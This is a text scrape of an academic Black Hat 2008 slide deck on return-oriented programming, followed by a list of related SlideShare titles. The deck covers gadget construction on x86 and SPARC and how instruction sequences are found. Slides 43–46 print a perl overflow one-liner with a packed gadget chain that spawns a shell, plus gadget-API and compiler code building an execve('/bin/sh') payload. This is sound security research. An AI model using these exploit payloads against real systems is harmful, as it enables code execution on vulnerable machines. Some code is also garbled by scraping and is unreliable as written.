SlideShare a Scribd company logo
1 of 53
Download to read offline
Return-oriented Programming:
Exploitation without Code Injection
     Erik Buchanan, Ryan Roemer, Stefan Savage, Hovav Shacham
                             University of California, San Diego
Bad code versus bad behavior

         “Bad”                          “Good”
        behavior                        behavior




                                     Application
        Attacker
                                       code
         code

                     Problem: this implication is false!
2             Return-oriented Programming: BH2008
The Return-oriented programming thesis


       any sufficiently large program codebase




     arbitrary attacker computation and behavior,
                 without code injection


           (in the absence of control-flow integrity)



3                    Return-oriented Programming: BH2008
Security systems endangered:
     W-xor-X aka DEP
 
          Linux, OpenBSD, Windows XP SP2, MacOS X
      
          Hardware support: AMD NX bit, Intel XD bit
      

     Trusted computing
 
     Code signing: Xbox
 
     Binary hashing: Tripwire, etc.
 
     … and others
 




 4                          Return-oriented Programming: BH2008
Return-into-libc and W^X
W-xor-X
     Industry response to code injection exploits
 
     Marks all writeable locations in a process’ address space
 
     as nonexecutable
     Deployment: Linux (via PaX patches); OpenBSD;
 
        Windows (since XP SP2); OS X (since 10.5); …
     Hardware support: Intel “XD” bit, AMD “NX” bit
 
        (and many RISC processors)




 6                       Return-oriented Programming: BH2008
Return-into-libc
     Divert control flow of exploited program into libc code
 
          system(), printf(), …
      

     No code injection required
 


     Perception of return-into-libc: limited, easy to defeat
 
          Attacker cannot execute arbitrary code
      
          Attacker relies on contents of libc — remove system()?
      



     We show: this perception is false.
 




 7                                Return-oriented Programming: BH2008
The Return-oriented programming thesis:
return-into-libc special case

                attacker control of stack




     arbitrary attacker computation and behavior
            via return-into-libc techniques


        (given any sufficiently large codebase to draw on)



8                     Return-oriented Programming: BH2008
Our return-into-libc generalization
     Gives Turing-complete exploit language
 
          exploits aren’t straight-line limited
      

     Calls no functions at all
 
          can’t be defanged by removing functions like system()
      

     On the x86, uses “found” insn sequences, not code
 
     intentionally placed in libc
          difficult to defeat with compiler/assembler changes
      




 9                             Return-oriented Programming: BH2008
Return-oriented programming
                                                       …
     connect back to attacker                          again:             …
                                                       mov i(s), ch       decr i
     while socket not eof
       read line                                       cmp ch, ‘|’        jnz again
                                                       jeq pipe           …
       fork, exec named progs
                                                       …


       stack:          libc:


                                                             load             decr
                                                                      ?
                                                             cmp               jnz

                                                        ?     jeq
10                              Return-oriented Programming: BH2008
Related Work
     Return-into-libc: Solar Designer, 1997
 
          Exploitation without code injection
      

     Return-into-libc chaining with retpop: Nergal, 2001
 
          Function returns into another, with or without frame pointer
      

     Register springs, dark spyrit, 1999
 
          Find unintended “jmp %reg” instructions in program text
      

     Borrowed code chunks, Krahmer 2005
 
          Look for short code sequences ending in “ret”
      
          Chain together using “ret”
      




 11                          Return-oriented Programming: BH2008
Mounting attack
     Need control of memory around %esp
 
     Rewrite stack:
 
          Buffer overflow on stack
      
          Format string vuln to rewrite stack contents
      

     Move stack:
 
          Overwrite saved frame pointer on stack;
      
          on leave/ret, move %esp to area under attacker control
          Overflow function pointer to a register spring for %esp:
      
               set or modify %esp from an attacker-controlled register
           
               then return
           




 12                                Return-oriented Programming: BH2008
Principles of
return-oriented programming
Ordinary programming: the machine level

        insn      insn                 insn         insn           insn




                         instruction
                           pointer

     Instruction pointer (%eip) determines which instruction
 
     to fetch & execute
     Once processor has executed the instruction, it
 
     automatically increments %eip to next instruction
     Control flow by changing value of %eip
 


 14                          Return-oriented Programming: BH2008
Return-oriented programming:
the machine level
                            insns … ret        insns … ret
                                  C library
                                                          insns … ret
             insns … ret             insns … ret




                   stack
                  pointer

     Stack pointer (%esp) determines which instruction
 
     sequence to fetch & execute
     Processor doesn’t automatically increment %esp; — but
 
     the “ret” at end of each instruction sequence does

 15                         Return-oriented Programming: BH2008
No-ops                                                                 C library
                                                                             ret



              nop          nop    nop


             instruction                                  stack
               pointer                                   pointer


     No-op instruction does nothing but advance %eip
 
     Return-oriented equivalent:
 
          point to return instruction
      
          advances %esp
      

     Useful in nop sled
 

 16                              Return-oriented Programming: BH2008
Immediate constants
                                                               pop %ebx; ret



             mov $0xdeadbeef, %eax
                                                                     0xdeadbeef
                (bb ef be ad de)


            instruction                                 stack
              pointer                                  pointer

     Instructions can encode constants
 
     Return-oriented equivalent:
 
          Store on the stack;
      
          Pop into register to use
      



 17                           Return-oriented Programming: BH2008
Control flow
                                            pop %esp; ret




                jmp +4


            instruction                 stack
              pointer                  pointer

     Ordinary programming:
 
          (Conditionally) set %eip to new value
      

     Return-oriented equivalent:
 
          (Conditionally) set %esp to new value
      




 18                          Return-oriented Programming: BH2008
Gadgets: multiple instruction sequences

                                  mov (%eax), %ebx; ret
                  pop %eax; ret




                                                                    (word to
                                                                      load)

                  stack
                 pointer
     Sometimes more than one instruction sequence needed
 
     to encode logical unit
     Example: load from memory into register:
 
          Load address of source word into %eax
      
          Load memory at (%eax) into %ebx
      

 19                           Return-oriented Programming: BH2008
A Gadget Menagerie
Gadget design
     Testbed: libc-2.3.5.so, Fedora Core 4
 
     Gadgets built from found code sequences:
 
          load-store
      
          arithmetic & logic
      
          control flow
      
          system calls
      
     Challenges:
 
          Code sequences are challenging to use:
      
               short; perform a small unit of work
           
               no standard function prologue/epilogue
           
               haphazard interface, not an ABI
           
          Some convenient instructions not always available (e.g., lahf)
      


 21                               Return-oriented Programming: BH2008
“The Gadget”: July 1945




22           Return-oriented Programming: BH2008
Immediate rotate of memory word

                                                 roll %cl, 0x017383f8(%ebx)
                                                 ret
                    0xdecafbad

                    0x00000004

                                                 pop %ecx
                                                 pop %edx
                                                 ret
                                                 pop %ebx
             %esp                                ret



                    0xdeadbeef
     + 0x017383f8



23                   Return-oriented Programming: BH2008
Conditional jumps on the x86
     Many instructions set %eflags
 
     But the conditional jump insns perturb %eip, not %esp
 
     Our strategy:
 
          Move flags to general-purpose register
      
          Compute either delta (if flag is 1) or 0 (if flag is 0)
      
          Perturb %esp by the computed amount
      




 24                             Return-oriented Programming: BH2008
Conditional jump, phase 1: load CF




                                             neg %eax
%esp                                         ret




                               (As a side effect, neg sets CF
                                 if its argument is nonzero)

25            Return-oriented Programming: BH2008
Conditional jump, phase 2:
store CF to memory


                                                            movl %ecx, (%edx)
                                                            ret
                                        adc %cl, %cl
                                        ret

         0x00000000

                                                pop %ecx
%esp                                            pop %edx
                                                ret


       (CF goes here)



 26                   Return-oriented Programming: BH2008
Computed jump, phase 3:
compute delta-or-zero

                               andl %esi, (%ecx)
                               rolb $0x5d, 0x5e5b6cc4(%ebx)
+0x5e5b6cc4
                               ret
                                                                  Bitwise and with delta
                                                                  (in %esi)
                                   pop %ecx
                                   pop %ebx
               esp delta
                                   ret
                                   pop %esi
                                   ret
               0xdecafbad

               0xdecafbad

                                                negl 94(%ebx)
                                                pop %edi
                                                pop %ebp
                                                mov %esi, %esi
                                   pop %ebx
        %esp                                    ret
                                   ret


                                                                  2s-complement negation:
                                                                  0 becomes 0…0;
               (CF here)
  +94
                                                                  1 becomes 1…1
               0xbadc0ded




 27                         Return-oriented Programming: BH2008
Computed jump, phase 4:
perturb %esp using computed delta



                                                         addl (%eax), %esp
                                                         addb %al, (%eax)
                                                         addb %cl, 0(%eax)
                                                         addb %al, (%eax)
                                          pop %eax
 %esp                                                    ret
                                          ret



        (perturbation here)




28                 Return-oriented Programming: BH2008
Finding instruction sequences

                      (on the x86)
Finding instruction sequences
     Any instruction sequence ending in “ret” is useful —
 
     could be part of a gadget

     Algorithmic problem: recover all sequences of valid
 
     instructions from libc that end in a “ret” insn
     Idea: at each ret (c3 byte) look back:
 
          are preceding i bytes a valid length-i insn?
      
          recurse from found instructions
      

     Collect instruction sequences in a trie
 




 30                            Return-oriented Programming: BH2008
Unintended instructions — ecb_crypt()
                                     c7
                                     45
                                    
                                        d4
                                    
                                        01
     movl $0x00000001, -44(%ebp)
                                        00
                                    
                                        00
                                    
                                    
                                        00
                                                        add %dh, %bh
                                        f7
                                    
                                        c7
                                             
                                    
                                    
                                        07   
         test $0x00000007, %edi
                                             
                                        00              movl $0x0F000000, (%edi)
                                        00
                                    
                                    
                                        00
                                             
                                             
                                        0f
                                        95 }            xchg %ebp, %eax
              setnzb -61(%ebp)          45 }            inc%ebp
                                        c3 }            ret

31                           Return-oriented Programming: BH2008
Is return-oriented programming
                   x86-specific?

                  (Spoiler: Answer is no.)
Assumptions in original attack
     Register-memory machine
 
          Gives plentiful opportunities for accessing memory
      

     Register-starved
 
          Multiple sequences likely to operate on same register
      

     Instructions are variable-length, unaligned
 
          More instruction sequences exist in libc
      
          Instructions types not issued by compiler may be available
      

     Unstructured call/ret ABI
 
          Any sequence ending in a return is useful
      


     True on the x86 … not on RISC architectures
 

 33                           Return-oriented Programming: BH2008
SPARC: the un-x86
     Load-store RISC machine
 
          Only a few special instructions access memory
      

     Register-rich
 
          128 registers; 32 available to any given function
      

     All instructions 32 bits long; alignment enforced
 
          No unintended instructions
      

     Highly structured calling convention
 
          Register windows
      
          Stack frames have specific format
      




 34                            Return-oriented Programming: BH2008
Return-oriented programming on SPARC
     Use Solaris 10 libc: 1.3 MB
 
     New techniques:
 
          Use instruction sequences that are suffixes of real functions
      
          Dataflow within a gadget:
      
               Use structured dataflow to dovetail with calling convention
           

          Dataflow between gadgets:
      
               Each gadget is memory-memory
           

     Turing-complete computation!
 


     Conjecture: Return-oriented programming likely
 
     possible on every architecture.

 35                                Return-oriented Programming: BH2008
SPARC Architecture

                                                       Registers              Stack
     Registers:
                                                                       Low Memory
          %i[0-7], %l[0-7], %o[0-7]          ...
      
                                             ...                        ...
          Register banks and the                              out 4
                                             ...
      
                                                              local 4   %l, %i 4 save
          “sliding register window”          out 3            in 4
                                             local 3                    %l, %i 3 save
          “call; save”;
                                                             out 2
                                             in 3
          “ret; restore”
                                                              local 2   %l, %i 2 save
                                             out 1            in 2
                                             local 1                    %l, %i 1 save
                                                              ...
                                             in 1
                                                              ...       ...
                                                              ...
                                                                        High Memory




 36                           Return-oriented Programming: BH2008
SPARC Architecture
                                 Address                Storage
                                 Low Memory
     Stack
                                                       Top of the stack
                                 %sp
                                                        Saved registers %l[0-7]
          Frame Ptr: %i6/%fp     %sp    - %sp+31
      
                                                        Saved registers %i[0-7]
                                 %sp+32 - %sp+63
          Stack Ptr: %o6/%sp                            Return struct for next call
                                %sp+64 - %sp+67
                                                        Outgoing arg. 1-5 space for caller
                                 %sp+68 - %sp+91
          Return Addr: %i7
                                                       Outgoing arg. 6+ for caller (variable)
                                 %sp+92 - up
                                 %sp+
          Register save area
                                                       Current local variables (variable)
                                 %fp-
                                                        Top of the frame (previous %sp)
                                 %fp
                                                        Prev. saved registers %l[0-7]
                                 %fp    - %fp+31
                                                        Prev. saved registers %i[0-7]
                                 %fp+32 - %fp+63
                                                        Return struct for current call
                                 %fp+64 - %fp+67
                                                        Incoming arg. 1-5 space for callee
                                 %fp+68 - %fp+91
                                                        Incoming arg. 6+ for callee (variable)
                                 %fp+92 - up
                                 High Memory



 37                            Return-oriented Programming: BH2008
Dataflow strategy
     Via register
 
          On restore, %i registers become %o registers
      
          First sequence puts output in %i register
      
          Second sequence reads from corresponding %o register
      

     Write into stack frame
 
          On restore, spilled %i, %l registers read from stack
      
          Earlier sequence writes to spill space for later sequence
      




 38                           Return-oriented Programming: BH2008
Gadget operations implemented
                                                                    Control Flow
     Memory                        Math                         
                              
                                                                         BA: jump T1
          v1 = &v2                      v1++                         
                                   
                                                                         BE: if (v1 == v2):
          v1 = *v2                      v1--                         
                                   
                                                                              jump T1,
          *v1 = v2                      v1 = -v2                          
                                   
                                                                              else T2
                                        v1 = v2 + v3                      
     Assignment                     
 
                                                                         BLE: if (v1 <= v2):
                                                                     
                                        v1 = v2 - v3
          v1 = Value                
      
                                                                              jump T1,
                                                                          
                                   Logic
          v1 = v2              
      
                                                                              else T2
                                                                          
                                        v1 = v2 & v3
     Function Calls                 
                                                                        BGE: if (v1 >= v2):
                                                                     
                                        v1 = v2 | v3
          call Function             
                                                                             jump T1,
                                                                          
                                        v1 = ~v2
                                    
     System Calls                                                             else T2
                                                                         
                                        v1 = v2 << v3
                                    
          call syscall with
      
                                        v1 = v2 >> v3
          arguments                 
     39                            Return-oriented Programming: BH2008
Gadget: Addition
     v1 = v2 + v3
 

        Inst. Seq.   Preset                 Assembly
                     %l7 = &%i0             ld [%i0], %l6
                           (+2 Frames )     st %l6, [%l7]
        m[&%i0] = v2
                     %i0 = &v2              ret
                                            restore
                       %l7 =   &%i3         ld [%i0], %l6
                               (+1 Frame ) st %l6, [%l7]
        m[&%i3] = v3
                       %i0 =   &v3          ret
                                            restore
                     %i0 =     v2 (stored ) add %i0, %i3, %i5
                     %i3 =     v3 (stored ) st %i5, [%i4]
        v1 = v2 + v3
                     %i4 =     &v1          ret
                                            restore


 40                      Return-oriented Programming: BH2008
Gadget: Branch Equal
                 Inst. Seq.           Preset       Assembly
                                      %l7 = &%i0   ld [%i0], %l6
                                            (+2 Frames )
                                                   st %l6, [%l7]
if (v1 == v2):   m[&%i0] = v1
                                      %i0 = &v1    ret
                                                   restore
  jump T1                       %l7 = &%i2         ld [%i0], %l6
                                      (+1 Frame ) st %l6, [%l7]
else:            m[&%i2] = v2
                                %i0 = &v2          ret
  jump T2                                          restore
                                %i0 = v1 (stored ) cmp %i0, %i2
                 (v1 == v2)     %i2 = v2 (stored ) ret
                                                   restore
                 if (v1 == v2): %i0 = T2 (NOT EQ) be,a 1 ahead
                   %i0 = T1     %l0 = T1 (EQ) - 1 sub %l0,%l2,%i0
                 else:          %l2 = -1           ret
                   %i0 = T2                        restore
                                %i3 = &%i6         st %o0, [%i3]
                 m[&%i6] = %o0        (+1 Frame ) ret
                                                   restore
                                %i6 = T1 or T2     ret
                 jump T1 or T2
                                      (stored )    restore
 41              Return-oriented Programming: BH2008
Automation
Option 1: Write your own
      Hand-coded gadget layout
                                                            /sh0

                                                              /bin

                                                         (word to zero)
linux-x86% ./target `perl	

                                          + 24
   -e ‘print “A”x68, pack(quot;c*”,	

   0x3e,0x78,0x03,0x03,0x07,	

                                                   lcall %gs:0x10(,0)
                                                                                   ret
   0x7f,0x02,0x03,0x0b,0x0b,	

   0x0b,0x0b,0x18,0xff,0xff,	

   0x4f,0x30,0x7f,0x02,0x03,	

                                                                               pop %ecx
   0x4f,0x37,0x05,0x03,0xbd,	

                                               pop %edx
                                                                               ret
   0xad,0x06,0x03,0x34,0xff,	

                                                                          pop %ebx
   0xff,0x4f,0x07,0x7f,0x02,	

                                          ret
                                                                               add %ch, %al
   0x03,0x2c,0xff,0xff,0x4f,	

                                               ret
                                                                                     movl %eax, 24(%edx)
   0x30,0xff,0xff,0x4f,0x55,	

                                                                                     ret
   0xd7,0x08,0x03,0x34,0xff,	

                                                           0x0b0b0b0b
   0xff,0x4f,0xad,0xfb,0xca,	

   0xde,0x2f,0x62,0x69,0x6e,	

                                                            pop %ecx
                                                                                            pop %edx
   0x2f,0x73,0x68,0x0)'`	

                                              xor %eax, %eax    ret
                                                 %esp                     ret
sh-3.1$	


   43                          Return-oriented Programming: BH2008
Option 2: Gadget API
/* Gadget variable declarations */	

g_var_t *num       = g_create_var(prog, quot;numquot;);	

g_var_t *arg0a     = g_create_var(prog, quot;arg0aquot;);	

g_var_t *arg0b     = g_create_var(prog, quot;arg0bquot;);	

g_var_t *arg0Ptr = g_create_var(prog, quot;arg0Ptrquot;);	

g_var_t *arg1Ptr = g_create_var(prog, quot;arg1Ptrquot;);	

g_var_t *argvPtr = g_create_var(prog, quot;argvPtrquot;);	

/* Gadget variable assignments (SYS_execve = 59)*/	

g_assign_const(prog, num,         59);	

g_assign_const(prog, arg0a,       strToBytes(quot;/binquot;));	

g_assign_const(prog, arg0b,       strToBytes(quot;/shquot;));	

g_assign_addr( prog, arg0Ptr, arg0a);	

g_assign_const(prog, arg1Ptr, 0x0); /* Null */	

g_assign_addr( prog, argvPtr, arg0Ptr);	

/* Trap to execve */	

g_syscall(prog, num, arg0Ptr, argvPtr, arg1Ptr, NULL, NULL, NULL);	


 44                         Return-oriented Programming: BH2008
Gadget API compiler
     Describe program to attack:
 
     char *vulnApp = quot;./demo-vulnquot;; /* Exec name of vulnerable app.             */
                                 /* Offset to %i7 in overflowed frame.
     int vulnOffset = 336;                                                      */
                                 /* Estimate: Number of gadget variables
     int numVars    = 50;                                                       */
                                 /* Estimate: Number of inst. seq's (packed)
     int numSeqs    = 100;                                                      */
     /* Create and Initialize Program ***************************************   */
     init(prog, (uint32_t) argv[0], vulnApp, vulnOffset, numVars, numSeqs);

     Compiler creates program to exploit vuln app
 
     Overflow in argv[1]; return-oriented payload in env
 
     Compiler avoids NUL bytes
 


(7 gadgets, 20 sequences
                                               sparc@sparc # ./exploit	

336 byte overflow                              $ 	

1280 byte payload)
 45                            Return-oriented Programming: BH2008
Option 3: Return-oriented compiler
     Gives high-level interface to gadget API
 
     Same shellcode as before:
 


        var arg0    = quot;/bin/shquot;;	

        var arg0Ptr = arg0;	

        var arg1Ptr = 0;	


        trap(59, arg0, (arg0Ptr), NULL);	





 46                      Return-oriented Programming: BH2008
Return-oriented selection sort — I
var i, j, tmp, len = 10;	

                        // Pointers	

var* min, p1, p2, a;

                          // Seed random()	

srandom(time(0));
                          // a[10]	

a = malloc(40);
p1 = a;	

printf((quot;Unsorted Array:nquot;));	

for (i = 0; i  len; ++i) {	

      // Initialize to small random values	

      *p1 = random()  511;	

      printf((quot;%d, quot;), *p1);	

                          // p1++	

      p1 = p1 + 4;
}	


47                Return-oriented Programming: BH2008
Return-oriented selection sort — II
p1 = a;	

for (i = 0; i  (len - 1); ++i) {	

      min = p1;	

      p2 = p1 + 4;	

      for (j = (i + 1); j  len; ++j) {	

            if (*p2  *min) { min = p2; }	

            p2 = p2 + 4;     // p2++	

      }	

      // Swap p1 - min	

      tmp = *p1; *p1 = *min; *min = tmp;	

                             // p1++	

      p1 = p1 + 4;
}	

48                Return-oriented Programming: BH2008
Return-oriented selection sort — III
p1 = a;	

printf((quot;nnSorted Array:nquot;));	

for (i = 0; i  len; ++i) {	

      printf((quot;%d, quot;), *p1);	

                          // p1++	

      p1 = p1 + 4;
}	

printf((quot;nquot;));	

                          // Free Memory	

free(a);




49              Return-oriented Programming: BH2008
Selection sort — compiler output
     24 KB payload: 152 gadgets, 381 instruction sequences
 
     No code injection!
 


      sparc@sparc # ./SelectionSort 	


      Unsorted Array:	

      486, 491, 37, 5, 166, 330, 103, 138, 233, 169, 	


      Sorted Array:	

      5, 37, 103, 138, 166, 169, 233, 330, 486, 491, 	





 50                       Return-oriented Programming: BH2008
Wrapping up
Conclusions
     Code injection is not necessary for arbitrary exploitation
 
     Defenses that distinguish “good code” from “bad code”
 
     are useless
     Return-oriented programming likely possible on every
 
     architecture, not just x86
     Compilers make sophisticated return-oriented exploits
 
     easy to write




 52                      Return-oriented Programming: BH2008
Questions?

H. Shacham. “The geometry of innocent flesh on the bone:
   Return-into-libc without function calls (on the x86).” In
   Proceedings of CCS 2007, Oct. 2007.
E. Buchanan, R. Roemer, S. Savage, and H. Shacham. “When
   Good Instructions Go Bad: Generalizing Return-Oriented
   Programming to RISC.” In Proceedings of CCS 2008, Oct.
   2008. To appear.

                  http://cs.ucsd.edu/~hovav/


 53                   Return-oriented Programming: BH2008

More Related Content

What's hot

Glow user review
Glow user reviewGlow user review
Glow user review冠旭 陳
 
Java Jit. Compilation and optimization by Andrey Kovalenko
Java Jit. Compilation and optimization by Andrey KovalenkoJava Jit. Compilation and optimization by Andrey Kovalenko
Java Jit. Compilation and optimization by Andrey KovalenkoValeriia Maliarenko
 
GTC16 - S6410 - Comparing OpenACC 2.5 and OpenMP 4.5
GTC16 - S6410 - Comparing OpenACC 2.5 and OpenMP 4.5GTC16 - S6410 - Comparing OpenACC 2.5 and OpenMP 4.5
GTC16 - S6410 - Comparing OpenACC 2.5 and OpenMP 4.5Jeff Larkin
 
The OMR GC talk - Ruby Kaigi 2015
The OMR GC talk - Ruby Kaigi 2015The OMR GC talk - Ruby Kaigi 2015
The OMR GC talk - Ruby Kaigi 2015craig lehmann
 
JVM JIT compilation overview by Vladimir Ivanov
JVM JIT compilation overview by Vladimir IvanovJVM JIT compilation overview by Vladimir Ivanov
JVM JIT compilation overview by Vladimir IvanovZeroTurnaround
 
"JIT compiler overview" @ JEEConf 2013, Kiev, Ukraine
"JIT compiler overview" @ JEEConf 2013, Kiev, Ukraine"JIT compiler overview" @ JEEConf 2013, Kiev, Ukraine
"JIT compiler overview" @ JEEConf 2013, Kiev, UkraineVladimir Ivanov
 
Ruby3x3: How are we going to measure 3x
Ruby3x3: How are we going to measure 3xRuby3x3: How are we going to measure 3x
Ruby3x3: How are we going to measure 3xMatthew Gaudet
 
VLSI Experiments I
VLSI Experiments IVLSI Experiments I
VLSI Experiments IGouthaman V
 
Java & low latency applications
Java & low latency applicationsJava & low latency applications
Java & low latency applicationsRuslan Shevchenko
 
不深不淺,帶你認識 LLVM (Found LLVM in your life)
不深不淺,帶你認識 LLVM (Found LLVM in your life)不深不淺,帶你認識 LLVM (Found LLVM in your life)
不深不淺,帶你認識 LLVM (Found LLVM in your life)Douglas Chen
 
Compilation and Execution
Compilation and ExecutionCompilation and Execution
Compilation and ExecutionChong-Kuan Chen
 
Processor Verification Using Open Source Tools and the GCC Regression Test Suite
Processor Verification Using Open Source Tools and the GCC Regression Test SuiteProcessor Verification Using Open Source Tools and the GCC Regression Test Suite
Processor Verification Using Open Source Tools and the GCC Regression Test SuiteDVClub
 
VLSI Lab manual PDF
VLSI Lab manual PDFVLSI Lab manual PDF
VLSI Lab manual PDFUR11EC098
 
Vlsi lab manual exp:2
Vlsi lab manual exp:2Vlsi lab manual exp:2
Vlsi lab manual exp:2komala vani
 
FOSDEM2016 - Ruby and OMR
FOSDEM2016 - Ruby and OMRFOSDEM2016 - Ruby and OMR
FOSDEM2016 - Ruby and OMRCharlie Gracie
 
From V8 to Modern Compilers
From V8 to Modern CompilersFrom V8 to Modern Compilers
From V8 to Modern CompilersMin-Yih Hsu
 
Unit testing of spark applications
Unit testing of spark applicationsUnit testing of spark applications
Unit testing of spark applicationsKnoldus Inc.
 

What's hot (20)

Glow user review
Glow user reviewGlow user review
Glow user review
 
Java Jit. Compilation and optimization by Andrey Kovalenko
Java Jit. Compilation and optimization by Andrey KovalenkoJava Jit. Compilation and optimization by Andrey Kovalenko
Java Jit. Compilation and optimization by Andrey Kovalenko
 
Exploitation Crash Course
Exploitation Crash CourseExploitation Crash Course
Exploitation Crash Course
 
GTC16 - S6410 - Comparing OpenACC 2.5 and OpenMP 4.5
GTC16 - S6410 - Comparing OpenACC 2.5 and OpenMP 4.5GTC16 - S6410 - Comparing OpenACC 2.5 and OpenMP 4.5
GTC16 - S6410 - Comparing OpenACC 2.5 and OpenMP 4.5
 
The OMR GC talk - Ruby Kaigi 2015
The OMR GC talk - Ruby Kaigi 2015The OMR GC talk - Ruby Kaigi 2015
The OMR GC talk - Ruby Kaigi 2015
 
JVM JIT compilation overview by Vladimir Ivanov
JVM JIT compilation overview by Vladimir IvanovJVM JIT compilation overview by Vladimir Ivanov
JVM JIT compilation overview by Vladimir Ivanov
 
"JIT compiler overview" @ JEEConf 2013, Kiev, Ukraine
"JIT compiler overview" @ JEEConf 2013, Kiev, Ukraine"JIT compiler overview" @ JEEConf 2013, Kiev, Ukraine
"JIT compiler overview" @ JEEConf 2013, Kiev, Ukraine
 
Ruby3x3: How are we going to measure 3x
Ruby3x3: How are we going to measure 3xRuby3x3: How are we going to measure 3x
Ruby3x3: How are we going to measure 3x
 
VLSI Experiments I
VLSI Experiments IVLSI Experiments I
VLSI Experiments I
 
effective_r27
effective_r27effective_r27
effective_r27
 
Java & low latency applications
Java & low latency applicationsJava & low latency applications
Java & low latency applications
 
不深不淺,帶你認識 LLVM (Found LLVM in your life)
不深不淺,帶你認識 LLVM (Found LLVM in your life)不深不淺,帶你認識 LLVM (Found LLVM in your life)
不深不淺,帶你認識 LLVM (Found LLVM in your life)
 
Compilation and Execution
Compilation and ExecutionCompilation and Execution
Compilation and Execution
 
Railsconf
RailsconfRailsconf
Railsconf
 
Processor Verification Using Open Source Tools and the GCC Regression Test Suite
Processor Verification Using Open Source Tools and the GCC Regression Test SuiteProcessor Verification Using Open Source Tools and the GCC Regression Test Suite
Processor Verification Using Open Source Tools and the GCC Regression Test Suite
 
VLSI Lab manual PDF
VLSI Lab manual PDFVLSI Lab manual PDF
VLSI Lab manual PDF
 
Vlsi lab manual exp:2
Vlsi lab manual exp:2Vlsi lab manual exp:2
Vlsi lab manual exp:2
 
FOSDEM2016 - Ruby and OMR
FOSDEM2016 - Ruby and OMRFOSDEM2016 - Ruby and OMR
FOSDEM2016 - Ruby and OMR
 
From V8 to Modern Compilers
From V8 to Modern CompilersFrom V8 to Modern Compilers
From V8 to Modern Compilers
 
Unit testing of spark applications
Unit testing of spark applicationsUnit testing of spark applications
Unit testing of spark applications
 

Similar to Return-Oriented Programming: Exploits Without Code Injection

XS Boston 2008 Paravirt Ops in Linux IA64
XS Boston 2008 Paravirt Ops in Linux IA64XS Boston 2008 Paravirt Ops in Linux IA64
XS Boston 2008 Paravirt Ops in Linux IA64The Linux Foundation
 
Jython: Integrating Python and Java
Jython: Integrating Python and JavaJython: Integrating Python and Java
Jython: Integrating Python and JavaCharles Anderson
 
Assembly language programming_fundamentals 8086
Assembly language programming_fundamentals 8086Assembly language programming_fundamentals 8086
Assembly language programming_fundamentals 8086Shehrevar Davierwala
 
FortranCon2020: Highly Parallel Fortran and OpenACC Directives
FortranCon2020: Highly Parallel Fortran and OpenACC DirectivesFortranCon2020: Highly Parallel Fortran and OpenACC Directives
FortranCon2020: Highly Parallel Fortran and OpenACC DirectivesJeff Larkin
 
DB Replication With Rails
DB Replication With RailsDB Replication With Rails
DB Replication With Railsschoefmax
 
Creating a Fibonacci Generator in Assembly - by Willem van Ketwich
Creating a Fibonacci Generator in Assembly - by Willem van KetwichCreating a Fibonacci Generator in Assembly - by Willem van Ketwich
Creating a Fibonacci Generator in Assembly - by Willem van KetwichWillem van Ketwich
 
Shellcodes for ARM: Your Pills Don't Work on Me, x86
Shellcodes for ARM: Your Pills Don't Work on Me, x86Shellcodes for ARM: Your Pills Don't Work on Me, x86
Shellcodes for ARM: Your Pills Don't Work on Me, x86Svetlana Gaivoronski
 
3150 Chapter 2 Part 1
3150 Chapter 2 Part 13150 Chapter 2 Part 1
3150 Chapter 2 Part 1Mole Wong
 
PHP Performance with APC + Memcached
PHP Performance with APC + MemcachedPHP Performance with APC + Memcached
PHP Performance with APC + MemcachedFord AntiTrust
 
javascript teach
javascript teachjavascript teach
javascript teachguest3732fa
 
JSBootcamp_White
JSBootcamp_WhiteJSBootcamp_White
JSBootcamp_Whiteguest3732fa
 
Dive into exploit development
Dive into exploit developmentDive into exploit development
Dive into exploit developmentPayampardaz
 
ReCrash: Making crashes reproducible by preserving object states (ECOOP 2008)
ReCrash: Making crashes reproducible by preserving object states (ECOOP 2008)ReCrash: Making crashes reproducible by preserving object states (ECOOP 2008)
ReCrash: Making crashes reproducible by preserving object states (ECOOP 2008)Sung Kim
 
Buffer overflow – Smashing The Stack
Buffer overflow – Smashing The StackBuffer overflow – Smashing The Stack
Buffer overflow – Smashing The StackTomer Zait
 
Buffer overflow attacks
Buffer overflow attacksBuffer overflow attacks
Buffer overflow attacksJapneet Singh
 
PHP Deployment With SVN
PHP Deployment With SVNPHP Deployment With SVN
PHP Deployment With SVNLorna Mitchell
 
This is a question from Assembly Language for x86 7th Edition by Kip I.docx
This is a question from Assembly Language for x86 7th Edition by Kip I.docxThis is a question from Assembly Language for x86 7th Edition by Kip I.docx
This is a question from Assembly Language for x86 7th Edition by Kip I.docxrochellej1
 
Deployment With Subversion - Lorna Mitchell
Deployment With Subversion - Lorna MitchellDeployment With Subversion - Lorna Mitchell
Deployment With Subversion - Lorna Mitchelldpc
 

Similar to Return-Oriented Programming: Exploits Without Code Injection (20)

XS Boston 2008 Paravirt Ops in Linux IA64
XS Boston 2008 Paravirt Ops in Linux IA64XS Boston 2008 Paravirt Ops in Linux IA64
XS Boston 2008 Paravirt Ops in Linux IA64
 
Jython: Integrating Python and Java
Jython: Integrating Python and JavaJython: Integrating Python and Java
Jython: Integrating Python and Java
 
Assembly language programming_fundamentals 8086
Assembly language programming_fundamentals 8086Assembly language programming_fundamentals 8086
Assembly language programming_fundamentals 8086
 
FortranCon2020: Highly Parallel Fortran and OpenACC Directives
FortranCon2020: Highly Parallel Fortran and OpenACC DirectivesFortranCon2020: Highly Parallel Fortran and OpenACC Directives
FortranCon2020: Highly Parallel Fortran and OpenACC Directives
 
DB Replication With Rails
DB Replication With RailsDB Replication With Rails
DB Replication With Rails
 
Creating a Fibonacci Generator in Assembly - by Willem van Ketwich
Creating a Fibonacci Generator in Assembly - by Willem van KetwichCreating a Fibonacci Generator in Assembly - by Willem van Ketwich
Creating a Fibonacci Generator in Assembly - by Willem van Ketwich
 
Shellcodes for ARM: Your Pills Don't Work on Me, x86
Shellcodes for ARM: Your Pills Don't Work on Me, x86Shellcodes for ARM: Your Pills Don't Work on Me, x86
Shellcodes for ARM: Your Pills Don't Work on Me, x86
 
3150 Chapter 2 Part 1
3150 Chapter 2 Part 13150 Chapter 2 Part 1
3150 Chapter 2 Part 1
 
PHP Performance with APC + Memcached
PHP Performance with APC + MemcachedPHP Performance with APC + Memcached
PHP Performance with APC + Memcached
 
javascript teach
javascript teachjavascript teach
javascript teach
 
JSBootcamp_White
JSBootcamp_WhiteJSBootcamp_White
JSBootcamp_White
 
Ndp Slides
Ndp SlidesNdp Slides
Ndp Slides
 
Dive into exploit development
Dive into exploit developmentDive into exploit development
Dive into exploit development
 
ReCrash: Making crashes reproducible by preserving object states (ECOOP 2008)
